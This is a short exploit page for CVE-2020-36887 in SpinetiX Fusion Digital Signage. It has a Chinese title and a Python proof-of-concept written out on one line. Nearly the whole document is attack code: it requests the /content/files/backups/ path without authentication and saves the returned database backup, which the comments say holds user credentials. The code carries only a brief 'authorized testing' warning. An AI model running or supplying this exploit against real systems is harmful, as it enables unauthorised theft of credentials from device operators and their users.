CVE-2020-36887: SpinetiX Fusion Digital Signage 未授权信息泄露漏洞

import requests # CVE-2020-36887 PoC - Unauthenticated Database Backup Disclosure # Target: SpinetiX Fusion Digital Signage # Vulnerability: Information Disclosure via /content/files/backups/ def exploit_cve_2020_36887(target_url): """ Exploit for CVE-2020-36887 This PoC demonstrates how an unauthenticated attacker can access sensitive database backup files containing user credentials. WARNING: Only use for authorized security testing """ # Target backup directory endpoint backup_endpoint = "/content/files/backups/" # Construct full URL url = target_url.rstrip('/') + backup_endpoint print(f"[*] Target: {target_url}") print(f"[*] Attempting to access backup directory: {url}") try: # Send GET request without any authentication response = requests.get(url, timeout=30) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] SUCCESS: Backup directory is accessible!") print(f"[+] Content-Length: {len(response.content)} bytes") # Save the backup file output_file = "backup_disclosure.db" with open(output_file, 'wb') as f: f.write(response.content) print(f"[+] Backup file saved as: {output_file}") return True else: print(f"[-] FAILED: Received status code {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False # Example usage if __name__ == "__main__": # Replace with target URL target = "http://target-server.com" exploit_cve_2020_36887(target)